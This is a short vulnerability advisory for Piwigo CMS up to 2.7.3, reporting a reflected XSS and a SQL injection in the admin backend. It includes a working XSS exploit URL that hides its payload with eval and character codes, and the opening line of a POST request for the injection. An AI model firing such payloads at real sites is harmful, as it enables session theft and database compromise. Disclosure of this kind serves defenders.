Affected Software: CMS Piwigo <= v. 2.7.3 (Release date: 9th January 2015)
Vendor URL: http://piwigo.org

CVE-ID: -

==========================
Vulnerability Description:
==========================

Piwigo <= v. 2.7.3 suffers from a reflecting XSS and a SQL injection in its
administrative backend.

==================
Technical Details:
==================

The reflecting XSS vulnerability resides in the "page" parameter used in
the file admin.php which can be found in the administrative backend located
here in a common Piwigo installation:

http://{TARGET}/admin.php?page=plugin-AdminTools

Exploit-Example:

http://
{TARGET}/admin.php?page=plugin-AdminTools%3Cimg%20src=n%20onerror=eval%28String.fromCharCode%2897,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59%29%29%20%3E

The SQL injection vulnerability can as well be found in the administrative
backend and can be found in the "History" functionality located here:

http://{TARGET}/admin.php?page=history

The SQL injection vulnerability can be exploited by appending arbitrary SQL
statements in a POST request to the parameter "user":

Exploit-Example:

POST /piwigo/admin.php?page=history HTTP/1.1
